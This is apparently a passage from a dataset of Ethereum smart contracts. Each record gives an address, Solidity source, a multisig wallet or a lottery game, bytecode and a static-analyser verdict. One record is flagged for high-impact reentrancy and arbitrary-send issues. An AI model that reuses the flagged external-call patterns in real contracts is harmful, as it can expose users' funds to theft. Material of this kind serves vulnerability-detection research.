ffffff16565b905060006127f0878961210590919063ffffffff16565b905060006128198261280b858761257490919063ffffffff16565b61257490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612841816136e8565b92915050565b600081519050612856816136e8565b92915050565b60008135905061286b816136ff565b92915050565b600081519050612880816136ff565b92915050565b60008135905061289581613716565b92915050565b6000815190506128aa81613716565b92915050565b6000602082840312156128c257600080fd5b60006128d084828501612832565b91505092915050565b6000602082840312156128eb57600080fd5b60006128f984828501612847565b91505092915050565b6000806040838503121561291557600080fd5b600061292385828601612832565b925050602061293485828601612832565b9150509250929050565b60008060006060848603121561295357600080fd5b600061296186828701612832565b935050602061297286828701612832565b925050604061298386828701612886565b9150509250925092565b600080604083850312156129a057600080fd5b60006129ae85828601612832565b92505060206129bf85828601612886565b9150509250929050565b6000602082840312156129db57600080fd5b60006129e98482850161285c565b91505092915050565b600060208284031215612a0457600080fd5b6000612a1284828501612871565b91505092915050565b600060208284031215612a2d57600080fd5b6000612a3b84828501612886565b91505092915050565b600080600060608486031215612a5957600080fd5b6000612a678682870161289b565b9350506020612a788682870161289b565b9250506040612a898682870161289b565b9150509250925092565b6000612a9f8383612aab565b60208301905092915050565b612ab48161324b565b82525050565b612ac38161324b565b82525050565b6000612ad4826130f1565b612ade8185613114565b9350612ae9836130e1565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c83613107565b925050600181019050612aed565b5085935050505092915050565b612b308161325d565b82525050565b612b3f816132a0565b82525050565b6000612b50826130fc565b612b5a8185613125565b9350612b6a8185602086016132b2565b612b7381613343565b840191505092915050565b6000612b8b602383613125565b9150612b9682613354565b604082019050919050565b6000612bae602a83613125565b9150612bb9826133a3565b604082019050919050565b6000612bd1602283613125565b9150612bdc826133f2565b604082019050919050565b6000612bf4602283613125565b9150612bff82613441565b604082019050919050565b6000612c17601b83613125565b9150612c2282613490565b602082019050919050565b6000612c3a601583613125565b9150612c45826134b9565b602082019050919050565b6000612c5d602383613125565b9150612c68826134e2565b604082019050919050565b6000612c80602183613125565b9150612c8b82613531565b604082019050919050565b6000612ca3602083613125565b9150612cae82613580565b602082019050919050565b6000612cc6602983613125565b9150612cd1826135a9565b604082019050919050565b6000612ce9602583613125565b9150612cf4826135f8565b604082019050919050565b6000612d0c602483613125565b9150612d1782613647565b604082019050919050565b6000612d2f601783613125565b9150612d3a82613696565b602082019050919050565b6000612d52601883613125565b9150612d5d826136bf565b602082019050919050565b612d7181613289565b82525050565b612d8081613293565b82525050565b6000602082019050612d9b6000830184612aba565b92915050565b6000604082019050612db66000830185612aba565b612dc36020830184612aba565b9392505050565b6000604082019050612ddf6000830185612aba565b612dec6020830184612d68565b9392505050565b600060c082019050612e086000830189612aba565b612e156020830188612d68565b612e226040830187612b36565b612e2f6060830186612b36565b612e3c6080830185612aba565b612e4960a0830184612d68565b979650505050505050565b6000602082019050612e696000830184612b27565b92915050565b60006020820190508181036000830152612e898184612b45565b905092915050565b60006020820190508181036000830152612eaa81612b7e565b9050919050565b60006020820190508181036000830152612eca81612ba1565b9050919050565b60006020820190508181036000830152612eea81612bc4565b9050919050565b60006020820190508181036000830152612f0a81612be7565b9050919050565b60006020820190508181036000830152612f2a81612c0a565b9050919050565b60006020820190508181036000830152612f4a81612c2d565b9050919050565b60006020820190508181036000830152612f6a81612c50565b9050919050565b60006020820190508181036000830152612f8a81612c73565b9050919050565b60006020820190508181036000830152612faa81612c96565b9050919050565b60006020820190508181036000830152612fca81612cb9565b9050919050565b60006020820190508181036000830152612fea81612cdc565b9050919050565b6000602082019050818103600083015261300a81612cff565b9050919050565b6000602082019050818103600083015261302a81612d22565b9050919050565b6000602082019050818103600083015261304a81612d45565b9050919050565b60006020820190506130666000830184612d68565b92915050565b600060a0820190506130816000830188612d68565b61308e6020830187612b36565b81810360408301526130a08186612ac9565b90506130af6060830185612aba565b6130bc6080830184612d68565b9695505050505050565b60006020820190506130db6000830184612d77565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314182613289565b915061314c83613289565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613181576131806132e5565b5b828201905092915050565b600061319782613289565b91506131a283613289565b9250826131b2576131b1613314565b5b828204905092915050565b60006131c882613289565b91506131d383613289565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320c5761320b6132e5565b5b828202905092915050565b600061322282613289565b915061322d83613289565b9250828210156132405761323f6132e5565b5b828203905092915050565b600061325682613269565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ab82613289565b9050919050565b60005b838110156132d05780820151818401526020810190506132b5565b838111156132df576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136f18161324b565b81146136fc57600080fd5b50565b6137088161325d565b811461371357600080fd5b50565b61371f81613289565b811461372a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209cddc5c347559d0c6c921780ee6b902ffa9760150bfef0c44ac582709d269caa64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,065
0xe80d11c3be89ae67eb1f57f6240ad4523e8308b5
pragma solidity ^0.4.10; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { event DailyLimitChange(uint dailyLimit); uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { Transaction tx = transactions[transactionId]; bool confirmed = isConfirmed(transactionId); if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) { tx.executed = true; if (!confirmed) spentToday += tx.value; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; if (!confirmed) spentToday -= tx.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610931565b34801561029a57600080fd5b506102436004356109b5565b3480156102b257600080fd5b506102be600435610a24565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610ae2565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b45565b3480156103f757600080fd5b50610376600435610c7e565b34801561040f57600080fd5b50610243610df7565b34801561042457600080fd5b5061015c600435610dfd565b34801561043c57600080fd5b5061015c600435610e74565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f3f9650505050505050565b3480156104bd57600080fd5b50610243610f5e565b3480156104d257600080fd5b50610243610f63565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f69565b34801561050e57600080fd5b5061015c6004356110f3565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b6003805460001901906106679082611343565b5060035460045411156106805760035461068090610dfd565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b600380549050600101600454603282118061087857508181115b80610881575080155b8061088a575081155b1561089457600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109ae576000848152600160205260408120600380549192918490811061095f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610993576001820191505b6004548214156109a657600192506109ae565b600101610936565b5050919050565b6000805b600354811015610a1e57600083815260016020526040812060038054919291849081106109e257fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a16576001820191505b6001016109b9565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b3a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b1c575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b77578160200160208202803883390190505b50925060009150600090505b600554811015610bfe57858015610bac575060008181526020819052604090206003015460ff16155b80610bd05750848015610bd0575060008181526020819052604090206003015460ff165b15610bf657808383815181101515610be457fe5b60209081029091010152600191909101905b600101610b83565b878703604051908082528060200260200182016040528015610c2a578160200160208202803883390190505b5093508790505b86811015610c73578281815181101515610c4757fe5b9060200190602002015184898303815181101515610c6157fe5b60209081029091010152600101610c31565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cb3578160200160208202803883390190505b50925060009150600090505b600354811015610d705760008581526001602052604081206003805491929184908110610ce857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d68576003805482908110610d2357fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d4957fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cbf565b81604051908082528060200260200182016040528015610d9a578160200160208202803883390190505b509350600090505b81811015610def578281815181101515610db857fe5b906020019060200201518482815181101515610dd057fe5b600160a060020a03909216602092830290910190910152600101610da2565b505050919050565b60055481565b333014610e0957600080fd5b600354816032821180610e1b57508181115b80610e24575080155b80610e2d575081155b15610e3757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610e9257600080fd5b6000828152602081905260409020548290600160a060020a03161515610eb757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ee257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f38856110f3565b5050505050565b6000610f4c848484611253565b9050610f5781610e74565b9392505050565b603281565b60045481565b6000333014610f7757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fa057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fc857600080fd5b600092505b6003548310156110595784600160a060020a0316600384815481101515610ff057fe5b600091825260209091200154600160a060020a0316141561104e578360038481548110151561101b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611059565b600190920191610fcd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b600081815260208190526040812060030154829060ff161561111457600080fd5b61111d83610931565b1561124e576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156111cb5780601f106111a0576101008083540402835291602001916111cb565b820191906000526020600020905b8154815290600101906020018083116111ae57829003601f168201915b505091505060006040518083038185875af192505050156112165760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261124e565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b505050565b600083600160a060020a038116151561126b57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926112eb926002850192910190611367565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b81548183558181111561124e5760008381526020902061124e9181019083016113e5565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113a857805160ff19168380011785556113d5565b828001600101855582156113d5579182015b828111156113d55782518255916020019190600101906113ba565b506113e19291506113e5565b5090565b610b4291905b808211156113e157600081556001016113eb5600a165627a7a72305820bce4ae06e997c87e9d052f39ae4ca6c5577c0708366808a8bd6113b9d0189de10029
{"success": true, "error": null, "results": {}}
10,066
0xcff681c07541b6921aac59fee73f1bab7b29d7b7
pragma solidity ^0.4.18; interface Game { event GameStarted(uint betAmount); event NewPlayerAdded(uint numPlayers, uint prizeAmount); event GameFinished(address winner); function () public payable; //Participate in game. Proxy for play method function getPrizeAmount() public constant returns (uint); //Get potential or actual prize amount function getNumWinners() public constant returns(uint, uint); function getPlayers() public constant returns(address[]); //Get full list of players function getWinners() public view returns(address[] memory players, uint[] memory prizes); //Get winners. Accessable only when finished function getStat() public constant returns(uint, uint, uint); //Short stat on game function calcaultePrizes() public returns (uint[]); function finish() public; //Closes game chooses winner function revoke() public; //Stop game and return money to players // function move(address nextGame); //Move players bets to another game } library TicketLib { struct Ticket { uint40 block_number; uint32 block_time; uint prize; } } contract UnilotPrizeCalculator { //Calculation constants uint64 constant accuracy = 1000000000000000000; uint8 constant MAX_X_FOR_Y = 195; // 19.5 uint8 constant minPrizeCoeficent = 1; uint8 constant percentOfWinners = 5; // 5% uint8 constant percentOfFixedPrizeWinners = 20; // 20% uint8 constant gameCommision = 0; // 0% uint8 constant bonusGameCommision = 0; // 0% uint8 constant tokenHolerGameCommision = 0; // 0% // End Calculation constants event Debug(uint); function getPrizeAmount(uint totalAmount) public pure returns (uint result) { uint totalCommision = gameCommision + bonusGameCommision + tokenHolerGameCommision; //Calculation is odd on purpose. It is a sort of ceiling effect to // maximize amount of prize result = ( totalAmount - ( ( totalAmount * totalCommision) / 100) ); return result; } function getNumWinners(uint numPlayers) public pure returns (uint16 numWinners, uint16 numFixedAmountWinners) { // Calculation is odd on purpose. It is a sort of ceiling effect to // maximize number of winners uint16 totaNumlWinners = uint16( numPlayers - ( (numPlayers * ( 100 - percentOfWinners ) ) / 100 ) ); numFixedAmountWinners = uint16( (totaNumlWinners * percentOfFixedPrizeWinners) / 100 ); numWinners = uint16( totaNumlWinners - numFixedAmountWinners ); return (numWinners, numFixedAmountWinners); } function calcaultePrizes(uint bet, uint numPlayers) public pure returns (uint[50] memory prizes) { var (numWinners, numFixedAmountWinners) = getNumWinners(numPlayers); require( uint(numWinners + numFixedAmountWinners) <= prizes.length ); uint[] memory y = new uint[]((numWinners - 1)); uint z = 0; // Sum of all Y values if ( numWinners == 1 ) { prizes[0] = getPrizeAmount(uint(bet*numPlayers)); return prizes; } else if ( numWinners < 1 ) { return prizes; } for (uint i = 0; i < y.length; i++) { y[i] = formula( (calculateStep(numWinners) * i) ); z += y[i]; } bool stop = false; for (i = 0; i < 10; i++) { uint[5] memory chunk = distributePrizeCalculation( i, z, y, numPlayers, bet); for ( uint j = 0; j < chunk.length; j++ ) { if ( ( (i * chunk.length) + j ) >= ( numWinners + numFixedAmountWinners ) ) { stop = true; break; } prizes[ (i * chunk.length) + j ] = chunk[j]; } if ( stop ) { break; } } return prizes; } function distributePrizeCalculation (uint chunkNumber, uint z, uint[] memory y, uint totalNumPlayers, uint bet) private pure returns (uint[5] memory prizes) { var(numWinners, numFixedAmountWinners) = getNumWinners(totalNumPlayers); uint prizeAmountForDeligation = getPrizeAmount( (totalNumPlayers * bet) ); prizeAmountForDeligation -= uint( ( bet * minPrizeCoeficent ) * uint( numWinners + numFixedAmountWinners ) ); uint mainWinnerBaseAmount = ( (prizeAmountForDeligation * accuracy) / ( ( ( z * accuracy ) / ( 2 * y[0] ) ) + ( 1 * accuracy ) ) ); uint undeligatedAmount = prizeAmountForDeligation; uint startPoint = chunkNumber * prizes.length; for ( uint i = 0; i < prizes.length; i++ ) { if ( i >= uint(numWinners + numFixedAmountWinners) ) { break; } prizes[ i ] = (bet * minPrizeCoeficent); uint extraPrize = 0; if ( i == ( numWinners - 1 ) ) { extraPrize = undeligatedAmount; } else if ( i == 0 && chunkNumber == 0 ) { extraPrize = mainWinnerBaseAmount; } else if ( ( startPoint + i ) < numWinners ) { extraPrize = ( ( y[ ( startPoint + i ) - 1 ] * (prizeAmountForDeligation - mainWinnerBaseAmount) ) / z); } prizes[ i ] += extraPrize; undeligatedAmount -= extraPrize; } return prizes; } function formula(uint x) public pure returns (uint y) { y = ( (1 * accuracy**2) / (x + (5*accuracy/10))) - ((5 * accuracy) / 100); return y; } function calculateStep(uint numWinners) public pure returns(uint step) { step = ( MAX_X_FOR_Y * accuracy / 10 ) / numWinners; return step; } } contract BaseUnilotGame is Game { enum State { ACTIVE, ENDED, REVOKING, REVOKED, MOVED } event PrizeResultCalculated(uint size, uint[] prizes); State state; address administrator; uint bet; mapping (address => TicketLib.Ticket) internal tickets; address[] internal ticketIndex; UnilotPrizeCalculator calculator; //Modifiers modifier onlyAdministrator() { require(msg.sender == administrator); _; } modifier onlyPlayer() { require(msg.sender != administrator); _; } modifier validBet() { require(msg.value == bet); _; } modifier activeGame() { require(state == State.ACTIVE); _; } modifier inactiveGame() { require(state != State.ACTIVE); _; } modifier finishedGame() { require(state == State.ENDED); _; } //Private methods function getState() public view returns(State) { return state; } function getBet() public view returns (uint) { return bet; } function getPlayers() public constant returns(address[]) { return ticketIndex; } function getPlayerDetails(address player) public view inactiveGame returns (uint, uint, uint) { TicketLib.Ticket memory ticket = tickets[player]; return (ticket.block_number, ticket.block_time, ticket.prize); } function getNumWinners() public constant returns (uint, uint) { var(numWinners, numFixedAmountWinners) = calculator.getNumWinners(ticketIndex.length); return (numWinners, 